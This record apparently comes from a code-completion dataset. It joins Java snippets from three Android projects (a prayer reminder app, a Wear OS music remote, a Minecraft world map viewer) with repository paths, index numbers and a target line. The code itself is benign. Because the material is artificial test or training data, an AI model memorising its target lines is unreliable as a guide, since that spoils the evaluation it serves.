loaded */,\n FragmentState backStackInfo) {\n Fragment fragment = getFragmentForResourceId(resourceId);\n String fragmentTag = getFragmentTagForResourceId(activity, resourceId);\n Fragment fragmentForTag = fragmentManager.findFragmentByTag(fragmentTag);\n /*if(fragmentForTag == null) {\n fragmentForTag = fragmentManager.findFragmentById(resourceId);\n fragmentTag = fragmentForTag.getTag();\n }*/\n if (fragment != null && (fragmentForTag == null || !fragmentForTag.isVisible())) {\n MainActivity main = (MainActivity) activity;\n if (backStackInfo != null) {\n main.getFragmentBackStackManager().add(backStackInfo);\n }\n\n if (resourceId == R.id.nav_home || resourceId == R.id.show_more_people) {\n // if the user tapped Home in the navigation\n // ensure we treat it as if it were the first time the fragment\n // were created (e.g. showing the first page instead of where they left off)\n main.setHomeFragmentCreated(false);\n }\n\n fragment.setArguments(loadingFragmentState);\n fragmentManager.beginTransaction().replace(R.id.fragment, fragment, fragmentTag).commit();\n\n if (navigation != null && fragmentTag != null) {\n navigation.setCheckedItem(getNavigationItemIdForFragmentName(activity, fragmentTag));\n }\n activity.setTitle(fragmentTag);\n } else {\n Log.d(TAG, String.format(\"Required fragment %s already visible, not reloading\", fragmentTag));\n }\n }\n\n private static Fragment getFragmentForResourceId(int resourceId) {\n if (resourceId == R.id.nav_home) {\n return new HomeFragment();\n } else if (resourceId == R.id.nav_people) {\n return new PeopleFragment();\n } else if (resourceId == R.id.nav_journal) {\n return new JournalFragment();\n } else if (resourceId == R.id.nav_settings) {\n return new SettingsFragment();\n } else if (resourceId == R.id.nav_help) {\n return new HelpFragment();\n } else if (resourceId == R.id.nav_contact_us) {\n return new ContactUsFragment();\n } else if (resourceId == R.id.nav_rate_this_app) {\n return new HomeFragment();\n } else if (resourceId == R.id.show_more_people) {\n return new HomeFragment();\n } else if (resourceId == R.id.person_add_note) {\n return new AddNoteFragment();\n } else if (resourceId == R.id.person_card) {\n return new PersonFragment();\n } else if (resourceId == R.id.add_note_fragment) {\n return new AddNoteFragment();\n } else if (resourceId == R.id.nav_about) {\n return new AboutFragment();\n }\n return null;\n }\n\n private static String getFragmentTagForResourceId(Context context, int resourceId) {\n if (resourceId == R.id.nav_home) {\n return context.getString(R.string.nav_home);\n } else if (resourceId == R.id.nav_people) {\n return context.getString(R.string.nav_people);\n } else if (resourceId == R.id.nav_journal) {\n return context.getString(R.string.nav_journal);\n } else if (resourceId == R.id.nav_settings) {\n return context.getString(R.string.nav_settings);\n } else if (resourceId == R.id.nav_help) {\n return context.getString(R.string.nav_help);\n } else if (resourceId == R.id.nav_contact_us) {\n return context.getString(R.string.nav_contact_us);\n } else if (resourceId == R.id.nav_rate_this_app) {\n return context.getString(R.string.nav_rate_this_app);\n } else if (resourceId == R.id.nav_about) {\n return context.getString(R.string.nav_about);\n } else if (resourceId == R.id.person_add_note) {\n return context.getString(R.string.person_add_note);\n //} else if (resourceId == R.id.show_more_people) {\n // return context.getString(R.string.nav_home);\n }\n return null;\n }\n\n public static Integer getNavigationItemIdForFragmentName(Context context, String fragmentName) {\n if (fragmentName.equals(context.getString(R.string.nav_home))) {\n return R.id.nav_home;\n } else if (fragmentName.equals(context.getString(R.string.nav_people))) {\n return R.id.nav_people;\n } else if (fragmentName.equals(context.getString(R.string.nav_journal))) {\n return R.id.nav_journal;\n } else if (fragmentName.equals(context.getString(R.string.nav_settings))) {\n return R.id.nav_settings;\n } else if (fragmentName.equals(context.getString(R.string.nav_help))) {\n return R.id.nav_help;\n } else if (fragmentName.equals(context.getString(R.string.nav_contact_us))) {\n return R.id.nav_contact_us;\n } else if (fragmentName.equals(context.getString(R.string.nav_rate_this_app))) {\n return R.id.nav_rate_this_app;\n } else if (fragmentName.equals(context.getString(R.string.nav_about))) {\n return R.id.nav_about;\n } else if (fragmentName.equals(context.getString(R.string.person_add_note))) {\n return R.id.nav_journal;\n } else if (fragmentName.equals(context.getString(R.string.person_view))) {\n return R.id.person_card;\n } else if (fragmentName.equals(context.getString(R.string.show_more_people))) {\n return R.id.nav_home;\n }\n return null;\n }\n}", "public class Installation {\n\n private static final String INSTALLATION = \"INSTALLATION\";\n private static String sID = null;\n\n public synchronized static String id(Context context) {\n if (sID == null) {\n File installation = new File(context.getFilesDir(), INSTALLATION);\n try {\n if (!installation.exists()) {\n writeInstallationFile(installation);\n }\n sID = readInstallationFile(installation);\n } catch (Exception e) {\n throw new RuntimeException(e);\n }\n }\n return sID;\n }\n\n private static String readInstallationFile(File installation) throws IOException {\n RandomAccessFile f = new RandomAccessFile(installation, \"r\");\n byte[] bytes = new byte[(int) f.length()];\n f.readFully(bytes);\n f.close();\n return new String(bytes);\n }\n\n @SuppressWarnings(\"TryFinallyCanBeTryWithResources\")\n private static void writeInstallationFile(File installation) throws IOException {\n FileOutputStream out = new FileOutputStream(installation);\n try {\n String id = UUID.randomUUID().toString();\n out.write(id.getBytes());\n } finally {\n out.close();\n }\n\n }\n\n}" ]
import android.os.Bundle; import androidx.fragment.app.Fragment; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.ProgressBar; import android.widget.TextView; import org.theotech.ceaselessandroid.R; import org.theotech.ceaselessandroid.cache.CacheManager; import org.theotech.ceaselessandroid.cache.LocalDailyCacheManagerImpl; import org.theotech.ceaselessandroid.person.PersonManager; import org.theotech.ceaselessandroid.person.PersonManagerImpl; import org.theotech.ceaselessandroid.util.AnalyticsUtils; import org.theotech.ceaselessandroid.util.Constants; import org.theotech.ceaselessandroid.util.FragmentUtils; import org.theotech.ceaselessandroid.util.Installation; import butterknife.BindView; import butterknife.ButterKnife;
package org.theotech.ceaselessandroid.fragment; public class ProgressCardSupportFragment extends Fragment implements ICardPageFragment { private static final String TAG = ProgressCardSupportFragment.class.getSimpleName(); @BindView(R.id.prayed_for_text) TextView prayedFor; @BindView(R.id.prayer_progress) ProgressBar progress; @BindView(R.id.show_more_people) LinearLayout showMorePeople; @BindView(R.id.progress_card_background) ImageView progressCardBackground; @BindView(R.id.number_of_days_praying) TextView numberOfDaysPraying; private PersonManager personManager = null; private CacheManager cacheManager = null; public ProgressCardSupportFragment() { // Required empty public constructor } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setHasOptionsMenu(true);
personManager = PersonManagerImpl.getInstance(getActivity());
3
MatejVancik/amaroKontrol
amaroKontrol_wear/wear/src/main/java/com/mv2studio/amarok/kontrol/ui/PlayNowWearActivity.java
[ "public class WearApp extends Application {\n\n private static WearApp instance;\n\n public static WearApp getInstance() {\n return instance;\n }\n\n @Override\n public void onCreate() {\n super.onCreate();\n instance = this;\n }\n\n /**\n * Don't forget to call .connect on this!\n * @return\n */\n public GoogleApiClient getGoogleApiClient() {\n return new GoogleApiClient.Builder(this)\n .addApi(Wearable.API)\n .build();\n }\n}", "public class Commander {\n\n public static final String APP_PCKG = \"com.mv2studio.amarok.kontrol\";\n public static final String COMMAND_PLAY_PAUSE = APP_PCKG + \".play\";\n public static final String COMMAND_NEXT = APP_PCKG + \".next\";\n public static final String COMMAND_PREV = APP_PCKG + \".prev\";\n public static final String COMMAND_VOL_UP = APP_PCKG + \".vol_up\";\n public static final String COMMAND_VOL_DOWN = APP_PCKG + \"vol_down\";\n\n private GoogleApiClient googleApiClient = WearApp.getInstance().getGoogleApiClient();\n\n private static Commander sInstance;\n\n private Commander() {\n googleApiClient = WearApp.getInstance().getGoogleApiClient();\n googleApiClient.connect();\n }\n\n public static Commander getInstance() {\n if(sInstance == null) sInstance = new Commander();\n\n return sInstance;\n }\n\n public void sendCommand(final String message, final MessageResultCallback callback) {\n Log.e(\"sending command \" + message);\n new AsyncTask<Void, Void, Boolean>() {\n @Override\n protected void onPreExecute() {\n super.onPreExecute();\n Log.e(\"preexecute\");\n }\n\n @Override\n protected Boolean doInBackground(Void... params) {\n Log.e(\"Runing in background\");\n\n while (!googleApiClient.isConnected() || googleApiClient.isConnecting()) {\n try {\n Thread.sleep(300);\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n }\n\n List<String> nodes = getNodes();\n if (nodes.size() == 0) {\n cancel(true);\n return false;\n }\n\n MessageApi.SendMessageResult result = Wearable.MessageApi.sendMessage(\n googleApiClient, nodes.get(0), message, null).await();\n\n Log.e(\"result: \"+result.toString());\n if (!result.getStatus().isSuccess()) {\n Log.e(\"ERROR: failed to send Message: \" + result.getStatus());\n }\n\n return result.getStatus().isSuccess();\n }\n\n @Override\n protected void onPostExecute(Boolean wasSuccessful) {\n if (callback != null)\n callback.onMessageResult(wasSuccessful);\n }\n }.execute();\n }\n\n private List<String> getNodes() {\n List<String> results = new ArrayList<String>();\n Log.e(\"Getting nodes\");\n GoogleApiClient client = WearApp.getInstance().getGoogleApiClient();\n client.connect();\n NodeApi.GetConnectedNodesResult nodes =\n Wearable.NodeApi.getConnectedNodes(client).await();\n client.disconnect();\n\n Log.e(\"have nodes\");\n for (Node node : nodes.getNodes()) {\n results.add(node.getId());\n Log.d(\"Node found: \" + node.getDisplayName());\n }\n Log.e(\"have \"+results.size()+\"nodes\");\n return results;\n }\n\n public static class NotificationActionCommandReceiver extends BroadcastReceiver {\n\n @Override\n public void onReceive(Context context, Intent intent) {\n if (intent.getAction().equals(COMMAND_PLAY_PAUSE)) {\n sInstance.sendCommand(Constants.WEAR_COMMAND_PLAY, null);\n }\n }\n }\n\n}", "public class DataLayerListenerService extends WearableListenerService {\n\n public static final String UPDATE_SONG_DATA_ACTION = \"song_data\";\n public static final String UPDATE_UNAVAILABLE_DATA_ACTION = \"unavailable_song_data\";\n public static final String UPDATE_PLAYBACK_STATE_ACTION = \"playback_state\";\n\n public static final String DATA_ARTIST = \"artist\";\n public static final String DATA_SONG = \"album\";\n public static final String DATA_COVER_BLURED = \"cover_blured\";\n public static final String DATA_PLABACK_STATE = \"playback\";\n\n private static final int TIMEOUT = 5;\n\n GoogleApiClient mGoogleApiClient;\n\n @Override\n public void onCreate() {\n super.onCreate();\n mGoogleApiClient = WearApp.getInstance().getGoogleApiClient();\n }\n\n @Override\n public void onDataChanged(DataEventBuffer dataEvents) {\n Log.d(\"onDataChanged: \" + dataEvents);\n\n ConnectionResult connectionResult =\n mGoogleApiClient.blockingConnect(TIMEOUT, TimeUnit.SECONDS);\n\n if (!connectionResult.isSuccess()) {\n Log.e(\"Failed to connect to GoogleApiClient.\");\n return;\n }\n\n // Loop through the events and send a message\n // to the node that created the data item.\n for (DataEvent event: dataEvents) {\n Log.d(\"Event received: \" + event.getDataItem().getUri());\n\n String eventUri = event.getDataItem().getUri().toString();\n\n DataMapItem dataItem = DataMapItem.fromDataItem(event.getDataItem());\n\n Intent dataIntent = null;\n\n if (eventUri.contains(Constants.COMM_PATH_SONG)) {\n dataIntent = onDataUpdated(dataItem);\n } else if (eventUri.contains(Constants.COMM_PATH_UNAVAILABLE)) {\n dataIntent = onDataUnavailable(dataItem);\n } else if (eventUri.contains(Constants.COMM_PATH_STATE)) {\n dataIntent = onPlayingStateChanged(dataItem);\n }\n\n if(dataIntent != null)\n LocalBroadcastManager.getInstance(this).sendBroadcast(dataIntent);\n }\n }\n\n private Intent onDataUpdated(DataMapItem dataItem) {\n String[] data = dataItem.getDataMap().getStringArray(Constants.COMM_DATA_CONTENT);\n int playbackState = dataItem.getDataMap().getInt(Constants.COMM_DATA_STATE);\n\n\n Intent dataIntent = new Intent(UPDATE_SONG_DATA_ACTION);\n dataIntent.putExtra(DATA_ARTIST, data[0]);\n dataIntent.putExtra(DATA_SONG, data[1]);\n dataIntent.putExtra(DATA_PLABACK_STATE, playbackState);\n\n Bitmap coverArt = null, coverBlured = null;\n if (dataItem.getDataMap().containsKey(Constants.COMM_DATA_COVER)) {\n Asset profileAsset = dataItem.getDataMap().getAsset(Constants.COMM_DATA_COVER);\n coverArt = WearHelper.loadBitmapFromAsset(profileAsset, mGoogleApiClient);\n }\n\n if (dataItem.getDataMap().containsKey(Constants.COMM_DATA_COVER)) {\n Asset profileAsset = dataItem.getDataMap().getAsset(Constants.COMM_DATA_COVER_BLURED);\n coverBlured = WearHelper.loadBitmapFromAsset(profileAsset, mGoogleApiClient);\n dataIntent.putExtra(DATA_COVER_BLURED, coverBlured);\n }\n\n NotificationUtils.issueNotification(data[0], data[1], coverArt, coverBlured);\n\n return dataIntent;\n }\n\n private Intent onDataUnavailable(DataMapItem dataItem) {\n String[] data = dataItem.getDataMap().getStringArray(Constants.COMM_DATA_CONTENT);\n\n Intent dataIntent = new Intent(UPDATE_UNAVAILABLE_DATA_ACTION);\n dataIntent.putExtra(DATA_ARTIST, data[0]);\n dataIntent.putExtra(DATA_SONG, data[1]);\n\n NotificationUtils.issueNotification(data[0], data[1], null, null);\n\n return dataIntent;\n }\n\n private Intent onPlayingStateChanged(DataMapItem dataItem) {\n int playbackState = dataItem.getDataMap().getInt(Constants.COMM_DATA_STATE);\n\n Intent dataIntent = new Intent(UPDATE_PLAYBACK_STATE_ACTION);\n dataIntent.putExtra(DATA_PLABACK_STATE, playbackState);\n\n return dataIntent;\n }\n\n\n @Override\n public void onMessageReceived(MessageEvent messageEvent) {\n\n // new request to start the app\n // all this should probably happen only if notification not up/app is really starting\n if (messageEvent.getPath().equals(Constants.COMM_START)) {\n NotificationUtils.issueNotification(\"amaroKontrol\", \"\", null, null);\n Commander.getInstance().sendCommand(Constants.COMM_FORCE_REFRESH, null);\n }\n\n // request to clera notification - app on phone has ended\n else if (messageEvent.getPath().equals(Constants.COMM_CLEAR_NOTIFICATION)) {\n Log.d(\"clearing notification from wear\");\n NotificationManager notificationManager =\n (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);\n notificationManager.cancelAll();\n\n }\n }\n\n\n}", "public interface MessageResultCallback {\n public void onMessageResult(boolean wasSuccessful);\n}", "public abstract class Constants {\n\n public static final String COMM_START = \"start_app\";\n public static final String COMM_FORCE_REFRESH = \"force_refresh\";\n public static final String COMM_CLEAR_NOTIFICATION = \"clear_notification\";\n\n public static final String COMM_PLAYER_DISCONNECTED = \"player_disconnected\";\n\n public static final String URL_GITHUB = \"https://github.com/MatejVancik/amaroKontrol\";\n \n \n public static final String CONST_UPDATE_SCRIPT = \"update_script_message\";\n\n public static final String COMM_PATH_SONG = \"/song\";\n public static final String COMM_PATH_STATE = \"/state\";\n public static final String COMM_PATH_UNAVAILABLE = \"/unavailable\";\n public static final String COMM_DATA_CONTENT = \"content\";\n public static final String COMM_DATA_COVER = \"cover\";\n public static final String COMM_DATA_COVER_BLURED = \"blured_cover\";\n public static final String COMM_DATA_STATE = \"state\";\n\n public static final String WEAR_COMMAND_PLAY = \"play\";\n public static final String WEAR_COMMAND_NEXT = \"next\";\n public static final String WEAR_COMMAND_PREV = \"prev\";\n public static final String WEAR_COMMAND_VOL_DOWN = \"vol_down\";\n public static final String WEAR_COMMAND_VOL_UP = \"vol_up\";\n\n}", "public class Log {\n\n private static final String TAG = \"amaroKontrol\";\n\n public static void w(String message) {\n android.util.Log.w(TAG, message);\n }\n\n public static void d(String message) {\n android.util.Log.d(TAG, message);\n }\n\n public static void e(String message) {\n android.util.Log.e(TAG, message);\n }\n\n}", "public enum PlayingState {\n\n PLAYING, PAUSE, NOTPLAYING, DOWN;\n\n public static PlayingState state = DOWN;\n\n}" ]
import android.app.Activity; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.graphics.Bitmap; import android.os.Bundle; import android.support.v4.content.LocalBroadcastManager; import android.support.wearable.view.WatchViewStub; import android.view.View; import android.widget.ImageButton; import android.widget.ImageView; import android.widget.TextView; import com.google.android.gms.common.api.GoogleApiClient; import com.google.android.gms.wearable.Node; import com.google.android.gms.wearable.NodeApi; import com.mv2studio.amarok.kontrol.R; import com.mv2studio.amarok.kontrol.WearApp; import com.mv2studio.amarok.kontrol.communication.Commander; import com.mv2studio.amarok.kontrol.communication.DataLayerListenerService; import com.mv2studio.amarok.kontrol.shared.MessageResultCallback; import com.mv2studio.amarok.kontrol.shared.Constants; import com.mv2studio.amarok.kontrol.shared.Log; import com.mv2studio.amarok.kontrol.shared.PlayingState;
package com.mv2studio.amarok.kontrol.ui; public class PlayNowWearActivity extends Activity implements WatchViewStub.OnLayoutInflatedListener, View.OnClickListener, NodeApi.NodeListener { private TextView mArtistText, mSongText; private ImageButton mPlayButton, mNextButton, mPrevButton; private ImageView coverView; private Node node; private GoogleApiClient mGoogleApiClient; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_my); mGoogleApiClient = WearApp.getInstance().getGoogleApiClient(); mGoogleApiClient.connect(); final WatchViewStub stub = (WatchViewStub) findViewById(R.id.watch_view_stub); stub.setOnLayoutInflatedListener(this); } @Override public void onLayoutInflated(WatchViewStub stub) { mPlayButton = (ImageButton) stub.findViewById(R.id.playPause); mNextButton = (ImageButton) stub.findViewById(R.id.next); mPrevButton = (ImageButton) stub.findViewById(R.id.prev); mArtistText = (TextView) stub.findViewById(R.id.artist_text); mSongText = (TextView) stub.findViewById(R.id.song_text); coverView = (ImageView) findViewById(R.id.watchBackground); mPlayButton.setOnClickListener(this); mNextButton.setOnClickListener(this); mPrevButton.setOnClickListener(this);
String artistData = getIntent().getStringExtra(DataLayerListenerService.DATA_ARTIST);
2
protolambda/blocktopograph
app/src/main/java/com/protolambda/blocktopograph/map/renderer/BiomeRenderer.java
[ "public class Chunk {\n\n public final WorldData worldData;\n\n public final int x, z;\n public final Dimension dimension;\n\n private Version version;\n\n private AtomicReferenceArray<TerrainChunkData>\n terrain = new AtomicReferenceArray<>(256);\n\n private volatile NBTChunkData entity, blockEntity;\n\n public Chunk(WorldData worldData, int x, int z, Dimension dimension) {\n this.worldData = worldData;\n this.x = x;\n this.z = z;\n this.dimension = dimension;\n }\n\n public TerrainChunkData getTerrain(byte subChunk) throws Version.VersionException {\n TerrainChunkData data = terrain.get(subChunk & 0xff);\n if(data == null){\n data = this.getVersion().createTerrainChunkData(this, subChunk);\n terrain.set(subChunk & 0xff, data);\n }\n return data;\n }\n\n public NBTChunkData getEntity() throws Version.VersionException {\n if(entity == null) entity = this.getVersion().createEntityChunkData(this);\n return entity;\n }\n\n\n public NBTChunkData getBlockEntity() throws Version.VersionException {\n if(blockEntity == null) blockEntity = this.getVersion().createBlockEntityChunkData(this);\n return blockEntity;\n }\n\n public Version getVersion(){\n if(this.version == null) try {\n byte[] data = this.worldData.getChunkData(x, z, ChunkTag.VERSION, dimension, (byte) 0, false);\n this.version = Version.getVersion(data);\n } catch (WorldData.WorldDBLoadException | WorldData.WorldDBException e) {\n e.printStackTrace();\n this.version = Version.ERROR;\n }\n\n return this.version;\n }\n\n\n //TODO: should we use the heightmap???\n public int getHighestBlockYAt(int x, int z) throws Version.VersionException {\n Version cVersion = getVersion();\n TerrainChunkData data;\n for(int subChunk = cVersion.subChunks - 1; subChunk >= 0; subChunk--) {\n data = this.getTerrain((byte) subChunk);\n if (data == null || !data.loadTerrain()) continue;\n\n for (int y = cVersion.subChunkHeight; y >= 0; y--) {\n if (data.getBlockTypeId(x & 15, y, z & 15) != 0)\n return (subChunk * cVersion.subChunkHeight) + y;\n }\n }\n return -1;\n }\n\n public int getHighestBlockYUnderAt(int x, int z, int y) throws Version.VersionException {\n Version cVersion = getVersion();\n int offset = y % cVersion.subChunkHeight;\n int subChunk = y / cVersion.subChunkHeight;\n TerrainChunkData data;\n\n for(; subChunk >= 0; subChunk--) {\n data = this.getTerrain((byte) subChunk);\n if (data == null || !data.loadTerrain()) continue;\n\n for (y = offset; y >= 0; y--) {\n if (data.getBlockTypeId(x & 15, y, z & 15) != 0)\n return (subChunk * cVersion.subChunkHeight) + y;\n }\n\n //start at the top of the next chunk! (current offset might differ)\n offset = cVersion.subChunkHeight - 1;\n }\n return -1;\n }\n\n public int getCaveYUnderAt(int x, int z, int y) throws Version.VersionException {\n Version cVersion = getVersion();\n int offset = y % cVersion.subChunkHeight;\n int subChunk = y / cVersion.subChunkHeight;\n TerrainChunkData data;\n\n for(; subChunk >= 0; subChunk--) {\n data = this.getTerrain((byte) subChunk);\n if (data == null || !data.loadTerrain()) continue;\n for (y = offset; y >= 0; y--) {\n if (data.getBlockTypeId(x & 15, y, z & 15) == 0)\n return (subChunk * cVersion.subChunkHeight) + y;\n }\n\n //start at the top of the next chunk! (current offset might differ)\n offset = cVersion.subChunkHeight - 1;\n }\n return -1;\n }\n\n\n}", "public class ChunkManager {\n\n @SuppressLint(\"UseSparseArrays\")\n private Map<Long, Chunk> chunks = new HashMap<>();\n\n private WorldData worldData;\n\n public final Dimension dimension;\n\n public ChunkManager(WorldData worldData, Dimension dimension){\n this.worldData = worldData;\n this.dimension = dimension;\n }\n\n\n public static long xzToKey(int x, int z){\n return (((long) x) << 32) | (((long) z) & 0xFFFFFFFFL);\n }\n\n public Chunk getChunk(int cX, int cZ) {\n long key = xzToKey(cX, cZ);\n Chunk chunk = chunks.get(key);\n if(chunk == null) {\n chunk = new Chunk(worldData, cX, cZ, dimension);\n this.chunks.put(key, chunk);\n }\n return chunk;\n }\n\n public void disposeAll(){\n this.chunks.clear();\n }\n\n\n\n\n}", "public enum Version {\n\n ERROR(\"ERROR\", \"failed to retrieve version number\", -2, 16, 16),\n NULL(\"NULL\", \"no data\", -1, 16, 16),\n OLD_LIMITED(\"v0.2.0\", \"classic mcpe, 16x16x16x16x18 world, level.dat; introduced in v0.2.0\", 1, 128, 1),\n v0_9(\"v0.9.0\", \"infinite xz, zlib leveldb; introduced in v0.9.0\", 2, 128, 1),\n V1_0(\"v1.0.0\", \"Stacked sub-chunks, 256 world-height, 16 high sub-chunks; introduced in alpha v1.0.0 (v0.17)\", 3, 16, 16),\n V1_1(\"v1.1.0\", \"Block-light is not stored anymore\", 4, 16, 16);\n\n public static final int LATEST_SUPPORTED_VERSION = V1_1.id;\n\n public final String displayName, description;\n public final int id, subChunkHeight, subChunks;\n\n\n Version(String displayName, String description, int id, int subChunkHeight, int subChunks){\n this.displayName = displayName;\n this.description = description;\n this.id = id;\n this.subChunkHeight = subChunkHeight;\n this.subChunks = subChunks;\n }\n\n private static final SparseArray<Version> versionMap;\n static {\n versionMap = new SparseArray<>();\n for(Version b : Version.values()){\n versionMap.put(b.id, b);\n }\n }\n public static Version getVersion(byte[] data){\n //Log.d(\"Data version: \"+ ConvertUtil.bytesToHexStr(data));\n\n //`data` is supposed to be one byte,\n // but it might grow to contain more data later on, or larger version ids.\n // Looking up the first byte is sufficient for now.\n if(data == null || data.length <= 0) {\n return NULL;\n } else {\n int versionNumber = data[0] & 0xff;\n\n //fallback version\n if(versionNumber > LATEST_SUPPORTED_VERSION) {\n versionNumber = LATEST_SUPPORTED_VERSION;\n }\n\n Version version = versionMap.get(versionNumber);\n //check if the returned version exists, fallback on ERROR otherwise.\n return version == null ? ERROR : version;\n }\n }\n\n public TerrainChunkData createTerrainChunkData(Chunk chunk, byte subChunk) throws VersionException {\n switch (this){\n case ERROR:\n case NULL:\n return null;\n case OLD_LIMITED:\n throw new VersionException(\"Handling terrain chunk data is NOT supported for this version!\", this);\n case v0_9:\n return new V0_9_TerrainChunkData(chunk, subChunk);\n case V1_0:\n return new V1_0_TerrainChunkData(chunk, subChunk);\n case V1_1:\n return new V1_1_TerrainChunkData(chunk, subChunk);\n default:\n //use the latest version, like nothing will ever happen...\n return new V1_1_TerrainChunkData(chunk, subChunk);\n }\n }\n\n public NBTChunkData createEntityChunkData(Chunk chunk) throws VersionException {\n switch (this){\n case ERROR:\n case NULL:\n return null;\n case OLD_LIMITED:\n throw new VersionException(\"Handling terrain chunk data is NOT supported for this version!\", this);\n default:\n //use the latest version, like nothing will ever happen...\n return new NBTChunkData(chunk, ChunkTag.ENTITY);\n }\n }\n\n public NBTChunkData createBlockEntityChunkData(Chunk chunk) throws VersionException {\n switch (this){\n case ERROR:\n case NULL:\n return null;\n case OLD_LIMITED:\n throw new VersionException(\"Handling terrain chunk data is NOT supported for this version!\", this);\n default:\n //use the latest version, like nothing will ever happen...\n return new NBTChunkData(chunk, ChunkTag.BLOCK_ENTITY);\n }\n }\n\n @Override\n public String toString(){\n return \"[MCPE version \\\"\"+displayName+\"\\\" (version-code: \"+id+\")]\";\n }\n\n public static class VersionException extends Exception {\n\n VersionException(String msg, Version version){\n super(msg + \" \" + version.toString());\n }\n }\n}", "public abstract class TerrainChunkData extends ChunkData {\n\n public final byte subChunk;\n\n public TerrainChunkData(Chunk chunk, byte subChunk) {\n super(chunk);\n this.subChunk = subChunk;\n }\n\n public abstract boolean loadTerrain();\n\n public abstract boolean load2DData();\n\n public abstract byte getBlockTypeId(int x, int y, int z);\n\n public abstract byte getBlockData(int x, int y, int z);\n\n public abstract byte getSkyLightValue(int x, int y, int z);\n\n public abstract byte getBlockLightValue(int x, int y, int z);\n\n public abstract boolean supportsBlockLightValues();\n\n public abstract void setBlockTypeId(int x, int y, int z, int type);\n\n public abstract void setBlockData(int x, int y, int z, int newData);\n\n public abstract byte getBiome(int x, int z);\n\n public abstract byte getGrassR(int x, int z);\n\n public abstract byte getGrassG(int x, int z);\n\n public abstract byte getGrassB(int x, int z);\n\n public abstract int getHeightMapValue(int x, int z);\n\n \n}", "public enum Biome {\n\n OCEAN(0, \"Ocean\", Color.fromRGB(2, 0, 112)),\n PLAINS(1, \"Plains\", Color.fromRGB(140, 176, 96)),\n DESERT(2, \"Desert\", Color.fromRGB(251, 148, 27)),\n EXTREME_HILLS(3, \"Extreme Hills\", Color.fromRGB(93, 99, 93)),\n FOREST(4, \"Forest\", Color.fromRGB(2, 99, 32)),\n TAIGA(5, \"Taiga\", Color.fromRGB(9, 102, 91)),\n SWAMPLAND(6, \"Swampland\", Color.fromRGB(4, 200, 139)),\n RIVER(7, \"River\", Color.fromRGB(1, 1, 255)),\n HELL(8, \"Hell\", Color.fromRGB(255, 0, 1)),\n SKY(9, \"Sky\", Color.fromRGB(130, 129, 254)),\n FROZEN_OCEAN(10, \"Frozen Ocean\", Color.fromRGB(142, 141, 161)),\n FROZEN_RIVER(11, \"Frozen River\", Color.fromRGB(159, 163, 255)),\n ICE_PLAINS(12, \"Ice Plains\", Color.fromRGB(255, 254, 255)),\n ICE_MOUNTAINS(13, \"Ice Mountains\", Color.fromRGB(162, 157, 157)),\n MUSHROOM_ISLAND(14, \"Mushroom Island\", Color.fromRGB(254, 1, 255)),\n MUSHROOM_ISLAND_SHORE(15, \"Mushroom Island Shore\", Color.fromRGB(158, 3, 253)),\n BEACH(16, \"Beach\", Color.fromRGB(250, 223, 85)),\n DESERT_HILLS(17, \"Desert Hills\", Color.fromRGB(212, 94, 15)),\n FOREST_HILLS(18, \"Forest Hills\", Color.fromRGB(37, 86, 30)),\n TAIGA_HILLS(19, \"Taiga Hills\", Color.fromRGB(25, 54, 49)),\n EXTREME_HILLS_EDGE(20, \"Extreme Hills Edge\", Color.fromRGB(115, 118, 157)),\n JUNGLE(21, \"Jungle\", Color.fromRGB(82, 122, 7)),\n JUNGLE_HILLS(22, \"Jungle Hills\", Color.fromRGB(46, 64, 3)),\n JUNGLE_EDGE(23, \"Jungle Edge\", Color.fromRGB(99, 142, 24)),\n DEEP_OCEAN(24, \"Deep Ocean\", Color.fromRGB(2, 0, 47)),\n STONE_BEACH(25, \"Stone Beach\", Color.fromRGB(162, 164, 132)),\n COLD_BEACH(26, \"Cold Beach\", Color.fromRGB(250, 238, 193)),\n BIRCH_FOREST(27, \"Birch Forest\", Color.fromRGB(48, 117, 70)),\n BIRCH_FOREST_HILLS(28, \"Birch Forest Hills\", Color.fromRGB(29, 94, 51)),\n ROOFED_FOREST(29, \"Roofed Forest\", Color.fromRGB(66, 82, 24)),\n COLD_TAIGA(30, \"Cold Taiga\", Color.fromRGB(49, 85, 75)),\n COLD_TAIGA_HILLS(31, \"Cold Taiga Hills\", Color.fromRGB(34, 61, 52)),\n MEGA_TAIGA(32, \"Mega Taiga\", Color.fromRGB(92, 105, 84)),\n MEGA_TAIGA_HILLS(33, \"Mega Taiga Hills\", Color.fromRGB(70, 76, 59)),\n EXTREME_HILLS_PLUS(34, \"Extreme Hills+\", Color.fromRGB(79, 111, 81)),\n SAVANNA(35, \"Savanna\", Color.fromRGB(192, 180, 94)),\n SAVANNA_PLATEAU(36, \"Savanna Plateau\", Color.fromRGB(168, 157, 98)),\n MESA(37, \"Mesa\", Color.fromRGB(220, 66, 19)),\n MESA_PLATEAU_F(38, \"Mesa Plateau F\", Color.fromRGB(174, 152, 100)),\n MESA_PLATEAU(39, \"Mesa Plateau\", Color.fromRGB(202, 139, 98)),\n OCEAN_M(128, \"Ocean M\", Color.fromRGB(81, 79, 195)),\n SUNFLOWER_PLAINS(129, \"Sunflower Plains\", Color.fromRGB(220, 255, 177)),\n DESERT_M(130, \"Desert M\", Color.fromRGB(255, 230, 101)),\n EXTREME_HILLS_M(131, \"Extreme Hills M\", Color.fromRGB(177, 176, 174)),\n FLOWER_FOREST(132, \"Flower Forest\", Color.fromRGB(82, 180, 110)),\n TAIGA_M(133, \"Taiga M\", Color.fromRGB(90, 182, 171)),\n SWAMPLAND_M(134, \"Swampland M\", Color.fromRGB(87, 255, 255)),\n RIVER_M(135, \"River M\", Color.fromRGB(82, 79, 255)),\n HELL_M(136, \"Hell M\", Color.fromRGB(255, 80, 83)),\n SKY_M(137, \"Sky M\", Color.fromRGB(210, 211, 255)),\n FROZEN_OCEAN_M(138, \"Frozen Ocean M\", Color.fromRGB(226, 224, 241)),\n FROZEN_RIVER_M(139, \"Frozen River M\", Color.fromRGB(239, 242, 255)),\n ICE_PLAINS_SPIKES(140, \"Ice Plains Spikes\", Color.fromRGB(223, 255, 255)),\n ICE_MOUNTAINS_M(141, \"Ice Mountains M\", Color.fromRGB(237, 237, 238)),\n 